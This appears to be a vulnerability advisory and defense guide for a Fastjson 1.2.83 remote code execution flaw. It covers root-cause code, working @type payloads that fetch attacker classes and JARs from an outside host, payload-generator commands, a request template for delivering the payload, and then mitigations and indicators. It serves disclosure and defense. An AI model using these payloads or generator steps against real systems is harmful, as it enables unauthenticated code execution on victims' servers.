GCSA Insights: In-depth Analysis and Defense Guide for the Fastjson 1.2.83 “Gadget-Free” Vulnerability (0day)

1. Execution Summary

In Fastjson 1.2.83,ParserConfig.checkAutoTypeconverts user-controllable@typevalues into class resource names and passes them to the current ClassLoader'sgetResourceAsStream.

String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

In a fat-jar ClassLoader environment capable of parsing absolute URL resource names, attackers can exploit dot substitutions to construct URLs likehttp:`,jar:http:andjar:file:`, downloading malicious classes with the@JSONTypeannotation from the attacker's end. Fastjson detects this annotation, callsloadClass, and returns the class directly before performing dangerous base class checks and target type compatibility checks. Arbitrary code can be executed when the class is instantiated and initialized.

This exploit does not rely on existing traditional deserialization gadgets in the target classpath and can still be triggered in the default state of FastjsonAutoType=false. Fixing the target type ofJSON.parseObjectdoes not prevent execution; enabling SafeMode can block the normal exploit path before resource access.

This report has reproduced the following using the same JSON payload in an isolated Linux container:

2. Vulnerability Rating

It is not recommended to provide a uniform CVSS 9.8 based solely on component versions: the standardAppClassLoaderserves as a negative contrast, as the modern JDK complete chain also relies on a loader capable of resolving both absolute JAR URLs and/proc/self/fd. In applications meeting the positive environment conditions described in this report, the vulnerability's effect is a network RCE without authentication.

3. Scope of Impact and Prerequisites

3.1 Confirmed Scope

• Runtime verification: Fastjson 1.2.83.
• JDK confirmed: 8, 17, 21, 25.
• Operating system confirmed: Linux; macOS also successfully reproduced the JDK 17/21/25 issue using/dev/fd.
• Loader confirmed:

- Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25.

• API confirms:JSON.parse, andJSON.parseObject, which has a fixed top-level type.

Version 3.2 Scope Description

1.2.68–1.2.83in the external description are more suitable as known test scopes than versions where vulnerabilities were introduced. Source code verification shows that the crucial class resource detection code already existed in versions 1.2.67 and 1.2.68. This report only completed full cross-JDK runtime verification for version 1.2.83 and cannot be used to assert that all earlier versions have the exact same end-to-end exploit capabilities.

3.3 Utilize the required conditions

1. Attackers can control the JSON passed to Fastjson, and@typein the input will be parsed.
2. SafeMode is not enabled.
3. The ClassLoader that loads Fastjson can resolve the constructed absolute resource name into a URL.
4. The victim process can connect to the attacker's HTTP service.
5. Modern Linux chains require that/proc/self/fdbe readable and that the loader can parse it.

jar:file:/proc/self/fd/N!....

1. The JDK needs to be able to create normal remote JAR temporary caches; this usually means that the JVM temporary directory is writable.

Attackers do not need:

• Write a file to the target classpath;
• The target classpath pre-installs gadgets such asTemplatesImpl, JNDI, C3P0, and Commons Collections.
• Enable Fastjson AutoType;
• Controls the second parameter ofJSON.parseObject.

4. Root Cause Analysis

4.1 User type name is treated as a resource URL

Source code location:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498

Core code:

String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) { is = defaultClassLoader.getResourceAsStream(resource);
} else { is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

This logic assumes thatresourceis simply a regular classpath path, but does not restrict its protocol, absolute path semantics, or origin. For a specific fat-jar loader, the following input will be replaced with an absolute URL:

Input type name: http:..localhost:18081.a
Resource name: http://localhost:18081/a.class

Therefore,getResourceAsStreamqueries local metadata out of bounds and loads network resources that are under the attacker's control.

4.2@JSONTypeof a remote class is used as the basis for authorization.

Fastjson uses its own ASMClassReaderto parse resource content:

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

The attacker only needs to annotate the remote class with the@JSONTypeannotation of Fastjson to setjsonTypetotrue. The attack checks the bytes provided by the attacker, not a class already loaded from a trusted classpath.

4.3jsonTypetriggers actual class loading

Source code location:

ParserConfig.java:1500-1503
TypeUtils.java:1759-1792

if (autoTypeSupport || jsonType || expectClassFlag) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

TypeUtils.loadClassattempts the explicit loader, the thread context loader, andClass.forNamein that order. In a forward environment, the thread context loader will again resolve the same absolute resource name, download the class, and executedefineClass.

4.4@JSONTypeearly return to bypass subsequent security checks

Source code location:

ParserConfig.java:1505-1528

if (clazz != null) {
if (jsonType) {
return clazz;
} // These checks are performed after the jsonType is returned. if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz)) { throw new JSONException(...);
} if (expectClass != null) { // assignability the check is also done later.
}
}

Therefore, once a remote class carries@JSONType:

• Dangerous base class checks will not be performed;
• expectClass.isAssignableFrom(clazz)will not be executed;
• Fixed data binding types cannot prevent execution before class initialization.

4.5Exception/Errorsuffixes form a failure soft channel.

Source code location:

ParserConfig.java:1537-1542

if (!autoTypeSupport) { if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
} throw new JSONException("autoType is not support. " + typeName);
}

In modern JDKs, the first phase may fail to load due to an invalid inner class name. By ending the type name withException, Fastjson does not terminate the entire JSON but returnsnull, allowing the parser to continue processing the FD enumeration elements in the array. This branch is crucial for single-payload cross-phase execution.

4.6 Location of SafeMode

SafeMode checks occur before resource access:

ParserConfig.java:1325-1330

Therefore, SafeMode in the default path can block network requests. However,AutoTypeCheckHandleris located before SafeMode (ParserConfig.java:1316-1323); if the application actively registers a handler that returns a direct type, it needs to be audited separately. SafeMode should not be understood as the absolute boundary that can override custom handlers.

5. Using chain details

5.1 JDK 8: Direct Remote Class Loading

Shortest form:

{"@type":"http:..localhost:18081.a"}

Transformation chain:

binary type name: http:..localhost:18081.a
resource URL: http://localhost:18081/a.class
class internal: http://localhost:18081/a

JDK 8 accepts the aforementioned unconventional inner class names. Spring Boot 2.7'sLaunchedURLClassLoaderdownloads the class, completes its definition, instantiation, and initialization, and malicious<clinit>directives can be executed.

JDK 17+ will also complete the network request, but will reject empty path segments in the internal name:

ClassFormatError: Illegal class name "http://localhost:18081/a"

Therefore, the shorthttp:..format itself only implemented RCE in JDK 8.

5.2 Modern JDK - Phase 1: Downloading Remote JARs

The first array element of a single payload:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}

Conversion result:

resource URL:
jar:http://attacker:18081/x!/foo/Exception.class

The JDK'ssun.net.www.protocol.jar.URLJarFile.retrievecreates a temporaryjar_cache*` file, copies the remote JAR to this file, and then opensJarFile. The cache remains held by the compromised JVM; the attacker does not need to know the random temporary filename, nor does it write files directly to the compromised file system.

JDK 17+ subsequently rejected the first-stagejar:http://...name, but Fastjson continued parsing the array due to theExceptionsuffix.

5.3 Modern JDK, Phase Two: Reopening the Cache File Deposit (FD)

Examples of subsequent candidate elements:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}

Transformation chain:

binary type name:
jar:file:.proc.self.fd.7!.fd7.Exception resource URL:
jar:file:/proc/self/fd/7!/fd7/Exception.class internal class name:
jar:file:/proc/self/fd/7!/fd7/Exception

Unlikehttp://, each/-separated component of this internal name is non-empty, therefore it is accepted by modern JVMs. The attack JAR prepares an entry for each candidate FD:

fd3/Exception.class
fd4/Exception.class
...
fd64/Exception.class

Each class's constant pool internal name exactly matches the request type of the corresponding file descriptor and carries@JSONType. Upon hitting the actual cache handle, Fastjson loads and instantiates the class, and<clinit>executes the command.

The first hit in the JDK 17 class-load log is:

jar:file:.proc.self.fd.7!.fd7.Exception

5.4 Why can a payload be compatible with both JDK 8 and modern JDK?

• JDK 8 directly accepts and executes the first-stagejar:http://...class.
• In the first stage, after the class executes the command, it intentionally throwsRuntimeException("stage-one-stop")to prevent...

JDK 8 continues to explore unrelated socket/pipe file descriptors.

• In JDK 17+, if the class fails to initialize due to an invalid name in the first phase, this active exception will not be triggered; subsequently...

Entering the FD enumeration phase viaExceptionsoft return.

6. Reproduction of the environment and evidence

6.1 Hash of the component under test

fastjson-1.2.83.jar
SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar
SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar
SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b

6.2 One-click reproduction

cd <repro-workspace> # On first run, you can set PULL=1 to pull the official container image.
PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh

Expected output:

JDK 8: RCE-OK
JDK 17: RCE-OK
JDK 21: RCE-OK
JDK 25: RCE-OK

The script will:

1. Compile the victim fat jar;
2. Generate an attack JAR with a dedicated FD class;
3. Generate a JSON array payload;
4. Start the attacking HTTP service in an isolated Docker network;
5. Start the victim containers in JDK 8/17/21/25 respectively;
6. Check the/tmp/fastjson-getresource-rcemapping for each container.

6.3 Manually generating attack JARs and payloads

cd <repro-workspace> ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py
--host attacker \
--port 18081 \
--fd-root /proc/self/fd \
--min-fd 3 \
--max-fd 64 \ --out-jar target/getresource-repro/www-linux/x \ --out-json target/getresource-repro/fd-payload-linux.json

Products:

Attacker JAR: target/getresource-repro/www-linux/x
JSON payload: target/getresource-repro/fd-payload-linux.json

--hostoption recommends using DNS tags without periods or decimal IPv4. This isn't to bypass localhost, but because Fastjson replaces all periods.in the type name with slashes/). For example, the decimal IPv4 value2130706433is equivalent to127.0.0.1, but it won't be separated by periods.

6.4 Delivery via Burp Suite

Burp is only responsible for sending JSON to the victim's interface that has a Fastjson parsing point; the attack JAR still needs to be provided by the attacker's HTTP service.

Request template:

POST /parse HTTP/1.1
Host: victim.example
Content-Type: application/json
Connection: close
Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]

If the application uses a fixed top-level type, the array can be wrapped according to the field structure, for example:

{"value":[/* All array elements in fd-payload-linux.json */]}

This experiment usesJSON.parseObject(json, BoundEnvelope.class)to parse the above wrapper, and the result is stillRCE-OK, andBoundEnvelopeis returned normally.

6.5 Critical Boundary Testing

7. Repair and Relief Suggestions

7.1 Preferred: Migrate from Fastjson 1.x

Prioritize migrating to the maintained Fastjson 2.x version and revalidate all polymorphic types, AutoType, and compatibility mode configurations. Do not simply replace the JAR without performing regression testing.

7.2 Enable SafeMode immediately

Code configuration:

ParserConfig.getGlobalInstance().setSafeMode(true);

JVM parameters:

-Dfastjson.parser.safeMode=true

Note: If your application has registeredAutoTypeCheckHandler, you should audit or remove it, as the handler executes before the SafeMode check.

7.3 Restricting the deserialization entry point

• Do not pass untrusted requests directly toJSON.parse/JSON.parseObject.
• Reject any special type of metadata at the gateway or application entry point.
• Simply fixing the top-level Java type is not a sufficient defense, because nested objects can still handle@type, and this vulnerability...

EarlyjsonTypereturns to bypass compatibility checks.

7.4 WAF/Gateway Temporary Rules

Temporarily intercept requests where the decoded JSON key equals@typeand overwrite URL parameters, request body, and nested objects. Do not search only for plaintext"@type"; Fastjson lexer will decode the field name first. For example:

{"\u0040type":"..."}
{"\x40type":"..."}

WAF rules can only serve as a mitigation measure and cannot replace component upgrades and SafeMode.

7.5 Strengthening during network outage and operation

• Prohibit the business JVM from initiating HTTP/HTTPS connections to unnecessary external addresses.
• Implement a minimal network policy for application containers.
• Limit/proc/self/fdexposure or use a more restrictive container sandbox when compatibility allows.
• Audit the ClassLoader's handling of absolute URL resource names, rejectinghttp:https:jar:etc.

file:and other protocol formats.

• Monitor abnormaljar_cache*activity in the JVM temporary directory.

8. Testing Recommendations and IOC

8.1 Request-side characteristics

Pay special attention to the following: The decoded@typevalue contains:

http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
Exception

Exceptionoccurring alone is insufficient to trigger an alert; it should be analyzed in conjunction with the protocol type,@type, and consecutive candidate combinations of file descriptors (FDs) within the array.

8.2 Network-side features

• The JVM requests a JAR file or.classfile without an extension from the abnormal host;
• 1–3 duplicate GET/HEAD requests occur during the same parsing request;
• The request path may contain/x,/a.class, or an attacker-defined equivalent path.

8.3 Host-side characteristics

• Createjar_cache*in the JVM temporary directory;
• The Java process reopens its own file via/proc/self/fd/N;
• The class-load log shows something like this:

jar:file:.proc.self.fd.7!.fd7.Exception

9. Conclusion

This vulnerability is not a traditional "bypassing the blacklist to find local gadgets," but rather it transforms Fastjson's own class metadata probing logic into a remote class retrieval and authorization channel.@JSONTypeearly return ensures that attacker-supplied classes are accepted before dangerous base classes and type binding checks;Exceptionfailure soft channel and the JDK `jar:http:` temporary cache extend the direct loading primitives of JDK 8 to JDK 17/21/25.

Therefore, the following common judgments are all invalid:

• "AutoType is off by default, so it's safe."
• "The second parameterparseObjectis fixed, so it's safe";
• "There are no known gadgets in the classpath, so it's safe";
• "JDK 17+ will rejecthttp://internal names, so at most it's just SSRF."

In deployments that meet verified loader, network, and file descriptor requirements, this issue can escalate from a single unauthenticated JSON request to actual remote code execution. Migrating to Fastjson 2.x should be prioritized, and SafeMode should be enabled immediately, tightening outbound network and ClassLoader resource resolution boundaries.

10. Attachments and Evidence Path

Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md Reproduction instructions: target/getresource-repro/README.md JDK 8 short chain: target/getresource-repro/reproduce.sh JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py Generated Linux payload: target/getresource-repro/fd-payload-linux.json JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log